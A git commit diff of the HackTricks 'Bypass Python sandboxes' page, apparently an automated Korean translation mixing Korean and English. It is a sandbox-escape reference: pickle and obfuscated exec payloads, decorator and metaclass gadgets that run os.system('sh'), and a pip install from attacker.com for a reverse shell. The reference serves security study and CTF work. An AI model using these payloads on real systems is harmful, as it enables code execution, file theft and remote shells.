Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-08-28 10:28:51 +00:00
parent dc75da53f5
commit 2c39e15d58
4 changed files with 232 additions and 132 deletions

View File

@ -70,6 +70,7 @@
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
다음은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
다음은 python sandbox 보호를 우회하고 임의의 명령을 실행하기 위한 몇 가지 트릭입니다.
## Command Execution Libraries
첫 번째로 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
첫 번째로 알아야 할 것은 이미 import된 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 다음 라이브러리들 중 하나를 import할 수 있는지입니다:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
_**open**_ 및 _**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **우회**하기 위해 **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
기억하라: _**open**__**read**_ 함수는 python sandbox 내부에서 **파일을 읽고**, **실행할 코드**를 **작성**하는 데 유용할 수 있다.
> [!CAUTION] > **Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 합니다.
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
Python은 **현재 디렉토리에서 라이브러리를 먼저 로드하려고** 합니다 (다음 명령은 python이 모듈을 어디에서 로드하는지 출력합니다): `python3 -c 'import sys; print(sys.path)'`
Python은 **현재 디렉터리에서 먼저 라이브러리를 로드하려고 시도**한다 (다음 명령은 python이 어디에서 모듈을 로드하는지 출력한다): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## 기본 설치된 python 패키지로 pickle sandbox 우회하기
## Bypass pickle sandbox with the default installed python packages
### 기본 패키지
### Default packages
여기에서 **사전 설치된** 패키지 목록을 찾을 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
pickle을 통해 python 환경이 시스템에 설치된 **임의의 라이브러리를 가져올 수** 있음을 유의하세요.\
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져오게 됩니다:
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
참고: pickle로 python env가 시스템에 설치된 라이브러리를 **import arbitrary libraries** 하도록 만들 수 있다.\
예를 들어, 다음 pickle은 로드되면 pip 라이브러리를 import하여 사용할 것이다:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
더 많은 정보는 pickle 작동 방식에 대해 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
pickle이 어떻게 작동하는지에 대한 자세한 정보는 다음을 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip 패키지
### Pip package
**@isHaacK**가 공유한 트릭
트릭 공유: **@isHaacK**
`pip` 또는 `pip.main()`에 접근할 수 있다면, 임의의 패키지를 설치하고 다음을 호출하여 리버스 셸을 얻을 수 있습니다:
만약 `pip` 또는 `pip.main()`에 접근할 수 있다면 임의의 패키지를 설치하고 다음을 호출하여 reverse shell을 얻을 수 있습니다:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
여기에서 리버스 셸을 생성하는 패키지를 다운로드할 수 있습니다. 사용하기 전에 **압축을 풀고, `setup.py`를 변경하고, 리버스 셸을 위한 IP를 입력해야 합니다**:
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> 이 패키지`Reverse`라고 불립니다. 그러나 리버스 셸을 종료할 때 나머지 설치가 실패하도록 특별히 제작되었으므로, 떠날 때 **서버에 추가적인 파이썬 패키지가 설치되지 않게 됩니다**.
> 이 패키지의 이름은 `Reverse`입니다. 그러나 reverse shell에서 빠져나올 때 설치의 나머지 과정이 실패하도록 특별히 제작되어, 떠날 때 **server에 추가적인 python package가 남지 않게 됩니다**.
## 파이썬 코드 평가
## Eval-ing python code
> [!WARNING]
> exec는 여러 줄 문자열과 ";"를 허용하지만, eval은 허용하지 않습니다 (월러스 연산자 확인).
> exec는 멀티라인 문자열과 ";",를 허용하지만, eval는 허용하지 않는다는 점에 유의하세요 (walrus operator를 확인하세요)
특정 문자가 금지된 경우 **hex/octal/B64** 표현을 사용하여 **우회**할 수 있습니다:
특정 문자가 금지된 경우 **hex/octal/B64** 표현을 사용하여 제한을 **bypass**할 수 있습니다:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Python 코드를 eval할 수 있는 다른 라이브러리
### eval python code를 허용하는 다른 라이브러리들
```python
#Pandas
import pandas as pd
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## 연산자 및 짧은 트릭
또한 PDF 생성기에서의 실제 샌드박스 평가기 탈출 사례도 참고하세요:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 이 취약점은 rl_safe_eval을 악용하여 평가된 속성(예: font color)으로부터 function.__globals__와 os.system에 접근하고, 렌더링을 안정적으로 유지하기 위해 유효한 값을 반환합니다.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## 연산자 및 짧은 요령
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -137,7 +145,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## 인코딩을 통한 보호 우회 (UTF-7)
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7은 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하는 데 사용됩니다:
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서 UFT-7은 겉보기의 sandbox 내에서 임의의 python 코드를 로드하고 실행하는 데 사용됩니다:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -148,13 +156,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
다른 인코딩을 사용하여 우회하는 것도 가능합니다. 예: `raw_unicode_escape``unicode_escape`.
다른 인코딩(예: `raw_unicode_escape``unicode_escape`)을 사용해 이를 우회하는 것도 가능합니다.
## 호출 없이 Python 실행
만약 당신이 **호출을 할 수 없는** 파이썬 감옥 안에 있다면, 여전히 **임의의 함수, 코드****명령어**를 **실행하는** 몇 가지 방법이 있습니다.
만약 당신이 **호출을 허용하지 않는** python jail 안에 있다면, 여전히 **임의의 함수와 코드** 및 **명령어**를 실행할 수 있는 몇 가지 방법이 있습니다.
### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 이용한 RCE
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -176,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE 객체 생성 및 오버로딩
### RCE creating objects and overloading
클래스를 **선언**하고 해당 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거**될 수 있는 **다양한 메서드**를 **작성/덮어쓸** 수 있습니다.
해당 class를 **declare a class**하고 그 class의 **object**를 **create**할 수 있다면, 직접 호출할 필요 없이 **triggered**될 수 있는 다양한 **methods**를 **write/overwrite**할 수 있습니다.
#### 사용자 정의 클래스를 통한 RCE
#### RCE with custom classes
일부 **클래스 메서드**를 (_기존 클래스 메서드를 덮어쓰거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고** **트리거**될 때 **임의의 코드를 실행**하도록 만들 수 있습니다.
일부 **class methods**를 수정할 수 있으며 (_by overwriting existing class methods or creating a new class_) 이를 통해 직접 호출하지 않아도 **triggered**될 때 **execute arbitrary code**하도록 만들 수 있습니다.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### [메타클래스](https://docs.python.org/3/reference/datamodel.html#metaclasses)로 객체 생성하기
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)로 객체 생성하기
메타클래스가 허용하는 주요 기능은 **생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것**으로, 대상 클래스를 메타클래스로 하여 새로운 클래스를 생성하는 것입니다.
metaclasses가 허용하는 핵심은 대상 클래스를 metaclass로 사용하는 새로운 클래스를 생성함으로써, **생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것**입니다.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### 예외로 객체 생성하기
#### exceptions를 사용한 객체 생성
**예외가 발생할 때** **Exception**의 객체가 **직접 생성자 호출 없이** **생성됩니다** ( [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 의 트릭):
**exception이 발생하면** **Exception**의 객체가 **생성됩니다** — 생성자를 직접 호출할 필요가 없습니다 (트릭 출처: [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -293,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### 내장 함수 도움말 및 라이센스 파일 읽기
### builtins help & license로 파일 읽기
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -307,17 +315,15 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
**`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 임포트할 수 있습니다 (마지막 섹션에서 보여준 다른 문자열 표현도 사용할 수 있습니다):
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 import할 수 있습니다 (여기서는 마지막 섹션에 나온 다른 문자열 표현을 사용할 수도 있다는 점을 참고하세요):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### Builtins 없음
`__builtins__`가 없으면 아무것도 가져올 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...) **가 로드되지 않기 때문입니다.**\
그러나 **기본적으로 파이썬은 많은 모듈을 메모리에 가져옵니다.** 이 모듈들은 무해해 보일 수 있지만, 그 중 일부는 **위험한** 기능을 내부에 가져오고 있어 이를 통해 **임의 코드 실행**을 얻을 수 있습니다.
다음 예제에서는 **이 "무해한"** 모듈을 **악용**하여 **내부의 위험한** **기능**에 **접근하는** 방법을 관찰할 수 있습니다.
`__builtins__`가 없으면 어떤 것도 import할 수 없고 파일을 읽거나 쓸 수도 없습니다. 왜냐하면 **모든 전역 함수**(예: `open`, `import`, `print`...)가 **로드되지 않기 때문입니다**.\
하지만 **기본적으로 python은 많은 모듈을 메모리에 로드합니다**. 이러한 모듈들은 무해해 보일 수 있지만, 일부는 내부에 **위험한 기능을 포함**하고 있어 접근하면 심지어 **임의 코드 실행**을 얻을 수 있습니다.
**Python2**
```python
@ -359,15 +365,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**아래에는 더 큰 함수가 있습니다**](#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**를 찾을 수 있습니다.
[**아래에는 더 큰 함수가 있습니다**](#recursive-search-of-builtins-globals) 수십/**수백**의 **장소**에서 **builtins**를 찾을 수 있습니다.
#### Python2 Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### 내장 페이로드
### Builtins payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -377,7 +383,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals and locals
**`globals`**와 **`locals`**를 확인하는 것은 접근할 수 있는 내용을 아는 좋은 방법입니다.
**`globals`**와 **`locals`**를 확인하면 접근 가능한 항목을 알 수 있다.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -401,15 +407,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**아래에는 더 큰 함수가 있습니다**](#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **globals**를 찾을 수 있습니다.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
## 임의 실행 발견
여기에서는 **더 위험한 기능**을 쉽게 발견하는 방법을 설명하고 더 신뢰할 수 있는 익스플로잇을 제안하고자 합니다.
여기서는 **더 위험한 기능들이 로드되어 있는지** 쉽게 찾아내는 방법과 더 신뢰할 수 있는 exploits를 제안하려고 한다.
#### 우회로 서브클래스에 접근하기
#### 서브클래스에 접근하기 (bypasses)
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
이 기법에서 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는지**이다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용해서 수행했지만 **다른 가능한 방법들**이 있다:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -437,18 +443,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### 위험한 라이브러리 찾기
### 로드된 위험한 라이브러리 찾기
예를 들어, **`sys`** 라이브러리를 사용하면 **임의의 라이브러리를 가져올 수** 있다는 것을 알고 있다면, **그 안에 sys를 가져온 모든 모듈을 검색할 수** 있습니다:
예를 들어, 라이브러리 **`sys`** 를 사용하면 **임의의 라이브러리를 import할 수 있다는 것**을 알고 있다면, 내부에서 **`sys`를 import한 모든 로드된 모듈**을 검색할 수 있습니다:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
많은 방법이 있으며, **우리는 명령을 실행하기 위해 하나만 필요합니다:**
많은 것들이 있지만, 명령을 실행하려면 **하나만 있으면 됩니다**:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
우리는 **명령을 실행**하는 데 사용할 수 있는 **다른 라이브러리**로 같은 작업을 수행할 수 있습니다:
우리는 **다른 라이브러리**로도, 그것들이 **명령을 실행**하는 데 사용될 수 있음을 알고 있으므로 같은 작업을 할 수 있습니다:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -483,7 +489,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
또한, 어떤 모듈이 악성 라이브러리를 로드하고 있는지 검색할 수 있습니다:
또한 어떤 모듈이 악성 라이브러리를 로드하고 있는지까지 검색할 수 있습니다:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -502,7 +508,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
또한, **다른 라이브러리**가 **명령을 실행하는 함수를 호출할 수 있다고 생각한다면**, 가능한 라이브러리 내에서 **함수 이름으로 필터링**할 수도 있습니다:
또한, **other libraries**가 **invoke functions to execute commands**할 수 있다고 생각되면, 가능한 라이브러리들 내부에서 **filter by functions names**할 수도 있습니다:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -535,10 +541,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## 내장 함수, 전역 변수의 재귀 검색...
## Builtins, Globals...의 재귀 검색
> [!WARNING]
> 이것은 정말 **멋집니다**. 만약 당신이 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 장소를 재귀적으로 찾아보세요.**
> 이건 정말 **대단합니다**. 만약 **globals, builtins, open 같은 객체를 찾고 있거나** 어떤 객체든 찾고 싶다면, 이 스크립트를 사용해 **그 객체를 찾을 수 있는 위치를 재귀적으로 찾아보세요.**
```python
import os, sys # Import these to find more gadgets
@ -654,7 +660,8 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
이 스크립트의 출력을 이 페이지에서 확인할 수 있습니다:
You can check the output of this script on this page:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
@ -662,7 +669,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
